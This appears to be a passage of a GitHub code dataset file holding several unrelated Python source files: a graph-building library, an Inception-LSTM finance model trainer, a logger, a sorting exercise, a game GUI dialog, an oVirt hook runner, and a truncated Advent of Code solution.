create relations to list root node\n child_ids: List[str] = []\n\n for index, node in enumerate(new_list_item_nodes):\n if node is None:\n continue\n self._set_list_item_node_labels(node)\n node.is_list_list_item = True\n child_ids.append(node.id)\n r = Relation(\n start_node=list_root_hub_node,\n end_node=node,\n )\n\n r[self.list_item_relation_index_property_name] = index\n node.parent_node = list_root_hub_node\n self._rel_cache.append(r)\n #\n\n list_root_hub_node[\n self.list_hub_id_property_name\n ] = list_root_hub_node.get_hash(include_children_data=True)\n list_root_hub_node.merge_property_keys = [self.list_hub_id_property_name]\n\n return list_root_hub_node\n\n def _is_empty(self, val):\n if not val:\n return True\n if isinstance(val, str) and val.upper() in [\"\", \"NULL\"]:\n return True\n return False\n\n def _is_basic_attribute_type(self, val):\n if isinstance(val, (str, int, float, bool)):\n return True\n else:\n return False\n\n def _is_named_obj(self, data: Dict):\n \"\"\"If an object is a one-keyd dict on the first layer and there is a dict behind this key,\n we determine that this one key is the label/type and the inner dict are the props\n\n Args:\n data (List): _description_\n\n Returns:\n _type_: _description_\n \"\"\"\n # {\"person\":{\"name\":\"tom\",\"lastname\":\"schilling\"}} -> we know its a person\n # {\"name\":\"tom\",\"lastname\":\"schilling\"} -> Could be a person or a lama\n # {\"client\":{\"name\":\"tom\",\"lastname\":\"schilling\"},\"cert\":\"yes\"} -> -> Could be a person or a computer\n if not self.interpret_single_props_as_labels:\n return False\n if (\n isinstance(data, dict)\n and len(data.keys()) == 1\n and isinstance(data[list(data.keys())[0]], dict)\n ):\n return True\n return False\n\n def _set_list_root_hub_node_labels(self, node: Node) -> str:\n addi_labels = [\n l.replace(\"{{ITEM_PRIMARY_LABEL}}\", node.primary_label)\n for l in self.list_hub_additional_labels\n ]\n addi_labels = [\n l.replace(\"{{ITEM_LABELS}}\", \"_\".join(node.primary_label))\n for l in addi_labels\n ]\n\n node.labels = node.labels + addi_labels\n\n def _set_list_item_node_labels(self, node: Node) -> str:\n node.labels = node.labels + self.list_item_additional_labels\n\n def _manifest_node_from_cache(self, cached_node: Node):\n node_set: NodeSet = self._get_or_create_nodeSet(cached_node)\n if self.create_ids_for_empty_nodes and cached_node.id is None:\n cached_node[\n self.empty_node_default_id_property_name\n ] = cached_node.get_hash(include_children_data=True)\n cached_node.merge_property_keys = [self.empty_node_default_id_property_name]\n node_set.add_node(cached_node)\n\n def _get_or_create_nodeSet(self, node: Node) -> NodeSet:\n node_type_fingerprint = (\n frozenset(node.labels),\n frozenset(node.merge_property_keys),\n )\n if node_type_fingerprint not in self._nodeSets:\n self._nodeSets[node_type_fingerprint] = NodeSet(\n labels=node.labels,\n merge_keys=node.merge_property_keys\n if node.merge_property_keys\n else list(node.keys()),\n )\n return self._nodeSets[node_type_fingerprint]\n\n def _manifest_rel_from_cache(self, cached_relation: Relation):\n rel_set: RelationshipSet = self._get_or_create_relSet(cached_relation)\n rel_set.add_relationship(\n start_node_properties=cached_relation.start_node,\n end_node_properties=cached_relation.end_node,\n properties=cached_relation,\n )\n\n def _get_or_create_relSet(self, relation: Relation) -> RelationshipSet:\n rel_id = (\n frozenset(relation.start_node.labels),\n frozenset(relation.start_node.merge_property_keys),\n relation.relation_type,\n frozenset(relation.end_node.labels),\n frozenset(relation.end_node.merge_property_keys),\n )\n\n if rel_id not in self._relSets:\n self._relSets[rel_id] = RelationshipSet(\n rel_type=relation.relation_type,\n start_node_labels=relation.start_node.labels,\n end_node_labels=relation.end_node.labels,\n start_node_properties=relation.start_node.merge_property_keys,\n end_node_properties=relation.end_node.merge_property_keys,\n )\n return self._relSets[rel_id]\n\n def add_node_to_cache(self, node: Node):\n \"\"\"Add a new [dict2graph.Node][] to the dict2graph cache.\n This method is only relevant for [`Transformers`](/use_transformers).\n\n You will propably only need it of you create [custom Transformers](/diy_transformer).\n\n Args:\n node (Node): The [dict2graph.Node][] to add.\n \"\"\"\n self._node_cache_feeder.append(node)\n\n def add_rel_to_cache(self, rel: Relation):\n \"\"\"Add a new [dict2graph.Relation][] to the dict2graph cache.\n This method is only relevant for [`Transformers`](/use_transformers).\n\n You will propably only need it of you create [custom Transformers](/diy_transformer).\n\n Args:\n node (Node): The [dict2graph.Relation][] to add.\n \"\"\"\n self._rel_cache_feeder.append(rel)\n\n def _flush_cache(self):\n self._feed_cache_with_new_nodes_and_rels()\n self._run_transformations()\n for node in self._node_cache:\n if not node.deleted:\n self._manifest_node_from_cache(node)\n for rel in self._rel_cache:\n if not rel.deleted:\n self._manifest_rel_from_cache(rel)\n self._node_cache = []\n self._rel_cache = []\n\n def _run_transformations(self):\n for (\n matcher_trans_node_container\n ) in self.matcher_and_node_transformers_stack.containers:\n for node in self._node_cache:\n if (\n matcher_trans_node_container.matcher._match(node)\n and not node.deleted\n ):\n for trans in matcher_trans_node_container.transformers:\n trans._run_custom_node_match_and_transform(node)\n self._feed_cache_with_new_nodes_and_rels()\n\n for (\n matcher_trans_rel_container\n ) in self.matcher_and_rel_transformers_stack.containers:\n for rel in self._rel_cache:\n if matcher_trans_rel_container.matcher._match(rel) and not rel.deleted:\n for trans in matcher_trans_rel_container.transformers:\n trans._run_custom_rel_match_and_transform(rel)\n\n self._feed_cache_with_new_nodes_and_rels()\n\n def _feed_cache_with_new_nodes_and_rels(self):\n self._node_cache.extend(self._node_cache_feeder)\n self._node_cache_feeder = []\n self._rel_cache.extend(self._rel_cache_feeder)\n self._rel_cache_feeder = []\n","repo_name":"DZD-eV-Diabetes-Research/dict2graph","sub_path":"dict2graph/dict2graph.py","file_name":"dict2graph.py","file_ext":"py","file_size_in_byte":27347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12377930869","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n\n\n\n### load Data \nimport tensorflow as tf\nimport gzip\nfrom time import time\nfrom tensorflow.python.client import device_lib\nprint(device_lib.list_local_devices())\nimport keras as ks\nimport keras\nimport numpy as np\nimport keras.backend as K\nfrom random import random\nfrom random import randint\nfrom numpy import array\nfrom numpy import zeros\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D\nfrom tensorflow.keras.layers import MaxPooling2D\nfrom tensorflow.keras.layers import LSTM\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras.layers import BatchNormalization\nfrom tensorflow.keras.layers import TimeDistributed\nfrom tensorflow.keras.layers import Conv1D\nfrom tensorflow.keras.layers import MaxPooling1D\nfrom tensorflow.keras.layers import AveragePooling1D\nfrom tensorflow.keras.callbacks import LambdaCallback\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras.layers import concatenate\nfrom tensorflow.keras.utils import plot_model\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Input\nfrom tensorflow.keras.utils import multi_gpu_model\nimport multiprocessing\n#from eli5.sklearn import PermutationImportance\n#from numba import jit\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.callbacks import EarlyStopping\nfrom tensorflow.keras.callbacks import ModelCheckpoint\n#from keras.callbacks import TensorBoard\nfrom hyperopt import Trials, STATUS_OK, tpe\nfrom hyperas import optim\nfrom hyperas.distributions import choice\nimport numpy as np\nimport pickle \nimport os\nfrom keras.preprocessing.sequence import TimeseriesGenerator\n\n\n# In[5]:\n\n\n\nimport multiprocessing\n#import dask.dataframe as dk\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\n\n#import matplotlib.pyplot as plt\nidx=pd.IndexSlice\nfrom sklearn.metrics import make_scorer, r2_score,accuracy_score,precision_score\nfrom sklearn.externals import joblib\nimport os\nimport gc\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn import preprocessing\nfrom tqdm import tqdm\nimport inspect \n\n\n# In[6]:\n\n\n\nmultiprocessing.cpu_count()\n\n\n# In[ ]:\n\n\n\ndef data():\n readConfigForLoading=pd.read_csv('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/modelConfigInceptionLSTM100.csv')\n Year=readConfigForLoading['Year'][0]\n lookBackYear=readConfigForLoading['lookBackYear'][0]\n LSTMWindow = readConfigForLoading['LSTMWindow'][0]\n NumberOfFeatures = readConfigForLoading['NumberOfFeatures'][0]\n \n \n with gzip.open ('/beegfs/sr4376/Finance Data/LSTM/yearsBack/CNNFeatureYear' + str(Year) +'lookBackYear' +str(lookBackYear) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.pklz', 'rb') as handle:\n X_train=pickle.load( handle)\n \n with gzip.open ('/beegfs/sr4376/Finance Data/LSTM/yearsBack/CNNTargetYear' + str(Year) +'lookBackYear' +str(lookBackYear) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.pklz', 'rb') as handle:\n y_train=pickle.load( handle)\n\n \n #y_train=np.load('/beegfs/sr4376/Finance Data/hyperopt/hyperas/tempOpt/tempYtrainHyper5.pkl.npy')\n #X_test=np.load('/beegfs/sr4376/Finance Data/hyperopt/hyperas/tempOpt/tempXtestHyper5.pkl.npy')\n #y_test=np.load('/beegfs/sr4376/Finance Data/hyperopt/hyperas/tempOpt/tempYtestHyper5.pkl.npy')\n print(1)\n #, X_test, y_test\n return X_train, y_train\n\n\n# In[ ]:\n\n\ndef create_model(X_train, y_train):\n \n def inception_module(layer_in, f1, f2, f3):\n\n conv1 =TimeDistributed( Conv1D(f1, kernel_size=1, padding='same', activation='relu', kernel_initializer='glorot_normal'))(layer_in)\n \n conv3 =TimeDistributed( Conv1D(f2, kernel_size=1, padding='same', activation='relu', kernel_initializer='glorot_normal'))(layer_in)\n conv3 = TimeDistributed(Conv1D(f2, kernel_size=3, padding='same', activation='relu', kernel_initializer='glorot_normal'))(conv3)\n \n conv5 =TimeDistributed( Conv1D(f3, kernel_size=1, padding='same', activation='relu', kernel_initializer='glorot_normal'))(layer_in)\n conv5 = TimeDistributed(Conv1D(f3, kernel_size=5, padding='same', activation='relu', kernel_initializer='glorot_normal'))(conv5)\n \n pool = TimeDistributed(AveragePooling1D(pool_size=3, strides=1, padding='same'))(layer_in)\n pool =TimeDistributed( Conv1D(f1, kernel_size=1, padding='same', activation='relu', kernel_initializer='glorot_normal'))(pool)\n layer_out = concatenate([conv1, conv3, conv5, pool], axis=-1)\n return layer_out\n\n \n print(1)\n APPENDweights=[]\n size=377\n\n readConfigForLoading=pd.read_csv('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/modelConfigInceptionLSTM100.csv')\n length = readConfigForLoading['LSTMWindow'][0]\n n_features = readConfigForLoading['NumberOfFeatures'][0]\n def simple_sharpe_loss_function(y_actual,y_predicted):\n M=52\n M=K.cast(M,dtype='float32')\n sharpe_loss_value=K.mean(y_actual*y_predicted)/K.std(y_actual*y_predicted)*K.sqrt(M)\n return sharpe_loss_value\n #,'three','four','five','six','seven'\n visible = Input(shape=(None,n_features,1))\n layer=visible\n deepInceptionLayers={{choice(['one'])}}\n if deepInceptionLayers == 'one':\n NumberOfLayers=1\n elif deepInceptionLayers == 'two':\n NumberOfLayers=2\n elif deepInceptionLayers == 'three':\n NumberOfLayers=3\n elif deepInceptionLayers == 'four':\n NumberOfLayers=4\n elif deepInceptionLayers == 'five':\n NumberOfLayers=5\n elif deepInceptionLayers == 'six':\n NumberOfLayers=6\n elif deepInceptionLayers == 'seven':\n NumberOfLayers=7\n \n filter1D={{choice([1,3])}}\n filter3D={{choice([1,3])}}\n filter5D={{choice([1,3])}}\n# pool_size={{choice([ 1,2])}}\n momentum= 0.9\n for ii in np.arange(0,NumberOfLayers):\n layer = inception_module(layer, f1=filter1D, f2=filter3D, f3=filter5D)\n layer = TimeDistributed(BatchNormalization(momentum=momentum))(layer)\n# if {{choice(['one','two'])}} == 'one':\n# layer = TimeDistributed(MaxPooling1D(pool_size=pool_size))(layer)\n# else:\n# layer = TimeDistributed(AveragePooling1D(pool_size=pool_size))(layer)\n # 10,20,30,40 \n layer = TimeDistributed(Conv1D(1, kernel_size={{choice([20])}}, activation='relu', kernel_initializer='glorot_normal'))(layer)\n layer = TimeDistributed(Flatten())(layer)\n layer= LSTM(units={{choice([5,10,20,30,40,60,80,100,120])}}, kernel_initializer='glorot_normal',bias_initializer='glorot_normal',recurrent_dropout={{choice([0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8])}})(layer)\n if {{choice(['one','two'])}}=='one':\n layer = Dense(units={{choice([5,10,20])}},activation='relu',)(layer)\n layer = Dense(1, activation='linear')(layer)\n#dropout={{choice([0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8])}}\n model = Model(inputs=visible,outputs=layer) \n opt=Adam(lr={{choice([0.00001,0.0001,0.001,0.01,0.1])}},clipnorm={{choice([0.0001,0.001,0.01,0.1,1])}})\n model.compile(loss=simple_sharpe_loss_function, optimizer=opt)\n model.summary()\n es=EarlyStopping(monitor='val_loss',mode='min',verbose=1,patience=25)\n checkpoint = ModelCheckpoint('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/BestModel.hdf5', monitor='val_loss', verbose=1, save_best_only=True, mode='min',period=10) \n callback_List = [es, checkpoint]\n result=model.fit(X_train, y_train, batch_size=6000, epochs=5,callbacks = callback_List, validation_split=0.1,verbose=2)\n validation_acc = np.amin(result.history['val_loss'])\n print('Best validation acc of epoch:', -validation_acc)\n return {'loss': validation_acc,'status': STATUS_OK,'model':model}\n\n\n# In[ ]:\n\n\ndef continueToTrainModel(params):\n \n def inception_module(layer_in, f1, f2, f3):\n\n conv1 =TimeDistributed( Conv1D(f1, kernel_size=1, padding='same', activation='relu', kernel_initializer='glorot_normal'))(layer_in)\n \n conv3 =TimeDistributed( Conv1D(f2, kernel_size=1, padding='same', activation='relu', kernel_initializer='glorot_normal'))(layer_in)\n conv3 = TimeDistributed(Conv1D(f2, kernel_size=3, padding='same', activation='relu', kernel_initializer='glorot_normal'))(conv3)\n \n conv5 =TimeDistributed( Conv1D(f3, kernel_size=1, padding='same', activation='relu', kernel_initializer='glorot_normal'))(layer_in)\n conv5 = TimeDistributed(Conv1D(f3, kernel_size=5, padding='same', activation='relu', kernel_initializer='glorot_normal'))(conv5)\n \n pool = TimeDistributed(AveragePooling1D(pool_size=3, strides=1, padding='same'))(layer_in)\n pool =TimeDistributed( Conv1D(f1, kernel_size=1, padding='same', activation='relu', kernel_initializer='glorot_normal'))(pool)\n layer_out = concatenate([conv1, conv3, conv5, pool], axis=-1)\n return layer_out\n\n \n print(1)\n APPENDweights=[]\n size=377\n #,'two','three','four','five','six','seven'\n clipnormToChoice = [0.0001,0.001,0.01,0.1,1,10]\n deepInceptionLayersToPick = ['one']\n filter1D = [1,3]\n filter1D_1 = [1,3]\n filter1D_2 = [1,3]\n kernel_size = [2]\n learningRateToChoice = [0.00001,0.0001,0.001,0.01,0.1,1]\n# pool_size = [1]\n# pool_stride = [1]\n\n recurrent_dropout = [0,0.1,0.2,0.3,0.4,0.5]\n recurrent_dropout_1 = [0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8]\n recurrent_dropout_2 =['one','two']\n unitsToChoice = [5, 10, 20, 40, 60, 80, 100, 120]\n units_1 = [5, 10, 20]\n readConfigForLoading=pd.read_csv('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/modelConfigInceptionLSTM100.csv')\n length = readConfigForLoading['LSTMWindow'][0]\n n_features = readConfigForLoading['NumberOfFeatures'][0]\n def simple_sharpe_loss_function(y_actual,y_predicted):\n M=52\n M=K.cast(M,dtype='float32')\n sharpe_loss_value=K.mean(y_actual*y_predicted)/K.std(y_actual*y_predicted)*K.sqrt(M)\n return sharpe_loss_value\n\n visible = Input(shape=(None,n_features,1))\n layer=visible\n deepInceptionLayers=deepInceptionLayersToPick[params['deepInceptionLayers']]\n if deepInceptionLayers == 'one':\n NumberOfLayers=1\n elif deepInceptionLayers == 'two':\n NumberOfLayers=2\n elif deepInceptionLayers == 'three':\n NumberOfLayers=3\n elif deepInceptionLayers == 'four':\n NumberOfLayers=4\n elif deepInceptionLayers == 'five':\n NumberOfLayers=5\n elif deepInceptionLayers == 'six':\n NumberOfLayers=6\n elif deepInceptionLayers == 'seven':\n NumberOfLayers=7\n \n filter1D=filter1D[params['filter1D']]\n filter3D=filter1D_1[params['filter1D_1']]\n filter5D=filter1D_2[params['filter1D_2']]\n# pool_size={{choice([3,5,9,16,25,34])}}\n #pool_stride={{choice([None,1, 2,3])}}\n momentum= 0.9\n for ii in np.arange(0,NumberOfLayers):\n layer = inception_module(layer, f1=filter1D, f2=filter3D, f3=filter5D)\n layer = TimeDistributed(BatchNormalization(momentum=momentum))(layer)\n# if {{choice(['one','two'])}} == 'one':\n# layer = MaxPooling1D(pool_size=pool_size)(layer)\n# else:\n# layer = AveragePooling1D(pool_size=pool_size)(layer)\n \n layer = TimeDistributed(Conv1D(1, kernel_size=kernel_size[params['kernel_size']], activation='relu', kernel_initializer='glorot_normal'))(layer)\n layer = TimeDistributed(Flatten())(layer)\n layer= LSTM(units=unitsToChoice[params['units']], kernel_initializer='glorot_normal',bias_initializer='glorot_normal',recurrent_dropout=recurrent_dropout_1[params['recurrent_dropout']])(layer)\n if recurrent_dropout_2[params['recurrent_dropout_1']] =='one':\n layer = Dense(units=units_1[params['units_1']],activation='relu')(layer)\n layer = Dense(1, activation='linear')(layer)\n\n model = Model(inputs=visible,outputs=layer) \n opt=Adam(lr=learningRateToChoice[params['lr']],clipnorm=clipnormToChoice[params['clipnorm']])\n model.compile(loss=simple_sharpe_loss_function, optimizer=opt)\n model.summary()\n\n return model\n\n\n# In[ ]:\n\n\n\nmodelName='InceptionLSTM'\ngc.collect()\npredictionPeriod=1\nLSTMWindow=21\nyearsBack=np.arange(1,2)\nNumberOfFeatures=100\nepochs=5\nbatch_size=4000\nfor jj in yearsBack:\n years=np.arange(2008,2015)\n best_model = None\n for ii in years:\n print(years)\n lowYear=ii-jj\n config=pd.DataFrame([[ii, jj ,LSTMWindow, NumberOfFeatures]],columns=['Year','lookBackYear','LSTMWindow','NumberOfFeatures'])\n config.to_csv('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/modelConfigInceptionLSTM100.csv')\n if best_model is None:\n best_run, best_model = optim.minimize(model=create_model,\n data=data,\n algo=tpe.suggest,\n max_evals=2,\n trials=Trials())\n print('best model over the optmization')\n print(best_run)\n model=best_model\n \n else:\n model=continueToTrainModel(best_run)\n es=EarlyStopping(monitor='val_loss',mode='min',verbose=2,patience=25) \n checkpoint = ModelCheckpoint('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/BestModelInceptionLSTM.hdf5', monitor='val_loss', verbose=1, save_best_only=True, mode='min',period=10) \n# tensorboard = TensorBoard(log_dir=r\"D:\\ML for Finance\\data\\logs\\{}\".format(time()),histogram_freq=10,write_graph=True,write_images=True,update_freq=\"epoch\")\n #tensorboard\n callback_List = [es, checkpoint] \n \n with gzip.open ('/beegfs/sr4376/Finance Data/LSTM/yearsBack/CNNFeatureYear' + str(ii) +'lookBackYear' +str(jj) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.pklz', 'rb') as handle:\n X_train=pickle.load( handle)\n \n with gzip.open ('/beegfs/sr4376/Finance Data/LSTM/yearsBack/CNNTargetYear' + str(ii) +'lookBackYear' +str(jj) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.pklz', 'rb') as handle:\n y_train=pickle.load( handle)\n\n result=model.fit(X_train, y_train, batch_size=batch_size, epochs=epochs,callbacks = callback_List, validation_split=0.1,verbose=2)\n validation_acc = np.amin(result.history['val_loss'])\n print('Best validation acc of epoch:', -validation_acc)\n\n \n \n model_json = model.to_json()\n with open('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/ ' + modelName +'Model' + str(ii) + 'yearsBackHyperopt' + str(jj) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.json',\"w\") as json_file:\n json_file.write(model_json)\n \n best_model.save_weights('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/ ' + modelName +'ModelWeights' + str(ii) +'yearsBackHyperopt' + str(jj) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.h5')\n \n with gzip.open ('/beegfs/sr4376/Finance Data/LSTM/yearsBack/CNNFeatureYear' + str(ii+1) +'lookBackYear' +str(1) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.pklz', 'rb') as handle:\n ValidationData=pickle.load( handle)\n \n with gzip.open ('/beegfs/sr4376/Finance Data/LSTM/yearsBack/CNNTargetYear' + str(ii+1) +'lookBackYear' +str(1) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.pklz', 'rb') as handle:\n ValidationTarget=pickle.load( handle)\n \n with open ('/beegfs/sr4376/Finance Data/LSTM/yearsBack/indexObjectYear' + str(ii+1) +'lookBackYear' +str(1) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.csv', 'rb') as handle:\n validationIndex=pd.read_csv( handle,parse_dates=['1']) \n# \n validationIndex.rename(columns={'0':'entityID', '1':'date'},inplace=True) \n validationIndex.set_index(['entityID','date'],inplace=True,drop=False)\n validationIndex.drop(columns='Unnamed: 0',inplace=True)\n\n \n \n pred1=best_model.predict(ValidationData, batch_size=2000)\n print(2)\n pred1=pd.DataFrame(pred1)\n pred1['targets']=ValidationTarget\n pred1['entityID']=validationIndex['entityID'].values\n pred1['date']=validationIndex['date'].values\n pred1.set_index(['entityID','date'],inplace=True)\n pred1.to_csv('/beegfs/sr4376/Finance Data/LSTMResults/yearsBack/data' + modelName +'Prediction' + str(ii) +'yearsBackHyperopt' + str(jj) + 'LSTMWindow' + str(LSTMWindow) + 'NumberOfFeatures' + str(NumberOfFeatures) + '.csv')\n\n","repo_name":"SteffenRoe/4376-DL-Project","sub_path":"InceptionLSTMFor100.py","file_name":"InceptionLSTMFor100.py","file_ext":"py","file_size_in_byte":16915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37306967782","text":"\"\"\"\nLogger is a class to manage log output and format so that we\ndon't have to pass loggers into methods or classes in order\nto get the desired results.\n\"\"\"\n\nimport logging\n\nclass Logger(object):\n \"\"\"\n Logger class that is a little messy and requires you to run\n configure() before using any of the other methods. Not in love\n with this setup but it allow me to not pepper logging throughout\n the application and have to pass it down 3 levels to get it to the\n proper class.\n \"\"\"\n logger = \"\"\n\n @classmethod\n def configure(cls):\n \"\"\"\n Create configuration for logger and change\n the default format that it uses.\n \"\"\"\n logger = logging.getLogger()\n logger.setLevel(logging.INFO)\n logger_handler = logging.StreamHandler()\n logger.addHandler(logger_handler)\n logger_handler.setFormatter(logging.Formatter('%(message)s'))\n cls.logger = logger\n\n @classmethod\n def info(cls, string, *opts):\n \"\"\"\n Print info out to screen\n \"\"\"\n cls.logger.info(string, *opts)\n","repo_name":"michaeljs1990/compress","sub_path":"compress/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"32387641043","text":"def maxPro(arr): # 최댓값 구하는 함수\n maxV = arr[0]\n for a in arr:\n if maxV < a:\n maxV = a\n return maxV\n\ndef toString(string): # 숫자 리스트를 문자열로 바꾸는 함수\n res = ''\n for s in string:\n res += str(s) + ' '\n return res\n\nT = int(input()) #test case 개수\n\nfor tc in range(1, T+1):\n N = int(input())\n nums = list(map(int, input().split()))\n cnt = [0] * int(maxPro(nums) + 1) # (nums의 최대 숫자 +1)개를 갖는 배열\n temp = [0] * N # 새로 정리된 숫자를 받을 배열\n\n for num in nums:\n cnt[num] += 1 # nums의 수를 확인하고, 그 수로 인덱스를 갖는 곳에 1 추가\n # print(cnt)\n for i in range(1, len(cnt)): # 누적합\n cnt[i] = cnt[i-1] + cnt[i]\n # print(cnt)\n # print(len(nums)-1)\n # print('----------------')\n for i in range(len(nums)-1, -1, -1): # i = 배열의 끝 인덱스부터 하나씩 내려올거야\n cnt[nums[i]] -= 1 # nums[i]번째 값을 인덱스로 갖는 cnt의 값을 하나 줄여준다.\n # print(cnt)\n # print(nums[i])\n temp[cnt[nums[i]]] = nums[i] # 하나 줄인값을 인덱스로 갖는 temp값에 nums[i]넣는다.\n\n print(f'#{tc} {toString(temp)}')","repo_name":"better-gyeom/Python_Algorithm","sub_path":"SWEA/D2/1966. 숫자를 정렬하자/숫자를 정렬하자.py","file_name":"숫자를 정렬하자.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40713871693","text":"from direct.gui.DirectGui import *\nfrom pandac.PandaModules import *\nfrom direct.directnotify import DirectNotifyGlobal\nfrom otp.otpbase import OTPGlobals\nfrom pirates.piratesgui import PDialog\nfrom pirates.piratesgui import GuiPanel\nfrom pirates.piratesgui import PiratesGuiGlobals\nfrom pirates.piratesbase import PiratesGlobals\nfrom pirates.piratesbase import PLocalizer\nfrom pirates.band import BandConstance\nfrom pirates.piratesgui.RequestButton import RequestButton\n\nclass CrewInviteeButton(RequestButton):\n \n def __init__(self, text, command):\n RequestButton.__init__(self, text, command)\n self.initialiseoptions(CrewInviteeButton)\n\n\n\nclass CrewInvitee(GuiPanel.GuiPanel):\n notify = DirectNotifyGlobal.directNotify.newCategory('CrewInvitee')\n \n def __init__(self, avId, avName):\n GuiPanel.GuiPanel.__init__(self, 'Crew Invitation', 0.5, 0.5, showClose = False)\n self.initialiseoptions(CrewInvitee)\n self.setPos(0.15, 0, 0.25)\n self.avId = avId\n self.avName = avName\n if base.cr.avatarFriendsManager.checkIgnored(self.avId):\n self.__handleNo()\n return\n \n text = PLocalizer.CrewInviteeInvitation % self.avName\n self.message = DirectLabel(parent = self, relief = None, text = text, text_scale = PiratesGuiGlobals.TextScaleLarge, text_align = TextNode.ACenter, text_fg = PiratesGuiGlobals.TextFG2, text_shadow = PiratesGuiGlobals.TextShadow, text_wordwrap = 11, pos = (0.25, 0, 0.35), textMayChange = 1)\n self.bOk = CrewInviteeButton(text = PLocalizer.CrewInviteeOK, command = self.__handleOk)\n self.bOk.reparentTo(self)\n self.bOk.setPos(0.1, 0, 0.05)\n self.bNo = CrewInviteeButton(text = PLocalizer.CrewInviteeNo, command = self.__handleNo)\n self.bNo.reparentTo(self)\n self.bNo.setPos(0.3, 0, 0.05)\n self.accept('BandRequestCancel-%s' % (self.avId,), self.__handleCancelFromAbove)\n \n def destroy(self):\n if hasattr(self, 'destroyed'):\n return\n \n self.destroyed = 1\n self.ignore('BandRequestCancel-%s' % (self.avId,))\n self.ignore('Esc')\n GuiPanel.GuiPanel.destroy(self)\n \n def __handleOk(self):\n base.cr.PirateBandManager.d_invitationResponce(self.avId, BandConstance.outcome_ok)\n self.destroy()\n\n def __handleNo(self):\n base.cr.PirateBandManager.d_invitationResponce(self.avId, BandConstance.outcome_declined)\n self.destroy()\n \n def __handleCancelFromAbove(self):\n self.destroy()\n\n\n","repo_name":"PiratesOnlineClassic/pirates-online-classic","sub_path":"pirates/piratesgui/CrewInvitee.py","file_name":"CrewInvitee.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"3213324052","text":"import logging\nimport os\n\nfrom ovirt.node import base\nfrom ovirt.node.utils import process\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass Hooks(base.Base):\n \"\"\"A utility class which executes files for additional configuration\n beyond the normal install\n \"\"\"\n\n known = [\"pre-upgrade\", \"post-upgrade\", \"rollback\", \"on-boot\",\n \"on-changed-boot-image\"]\n\n legacy_hooks_directory = \"/etc/ovirt-config-boot.d/\"\n hooks_path_tpl = \"/usr/libexec/ovirt-node/hooks/{name}\"\n\n @staticmethod\n def post_auto_install():\n Hooks.__run(Hooks.legacy_hooks_directory)\n\n @staticmethod\n def emit(name):\n \"\"\"Signal that a specific event appeared, and trigger the hook handlers\n\n Args:\n name: Name of the hook (bust be in Hooks.known)\n \"\"\"\n assert name in Hooks.known\n path = Hooks.hooks_path_tpl.format(name=name)\n Hooks.__run(path)\n\n @staticmethod\n def __run(hooks_directory):\n for hook in os.listdir(hooks_directory):\n script = os.path.join(hooks_directory, hook)\n\n if script.endswith(\".pyc\") or script.endswith(\".pyo\"):\n continue\n\n LOGGER.debug(\"Running hook %s\" % script)\n if script.endswith(\".py\"):\n output = process.check_output([\"python\", script])\n else:\n output = process.check_output(\"%s &> /dev/null\" % script,\n shell=True)\n\n [LOGGER.debug(\"%s: %s\" % (script, line)) for line in output]\n","repo_name":"oVirt/ovirt-node","sub_path":"src/ovirt/node/utils/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"32"} +{"seq_id":"35335162899","text":"# https://adventofcode.com/2017/day/3\n\nfrom collections import defaultdict\nfrom itertools import count\n\ndef spiral(Δ = 1j):\n i = 1; yield 1, 0 # i, pos\n for side_len in count(3, step=2):\n pos = (1 - 1j) * (side_len//2)\n for _ in range(4):\n for _ in range(side_len-1):\n i += 1; pos += Δ\n yield i, pos\n Δ *= 1j\n\ndef fst_star(stop):\n abs_int = lambda x: abs(int(x))\n for x, pos in spiral():\n if x == stop: \n return sum(map(abs_int, [pos.real, pos.imag]))\n\ndef snd_star(stop):\n grid = defaultdict(int, {0: 1})\n for i, pos in spiral():\n if i == 1: continue\n grid[pos] = sum( \n grid[pos + 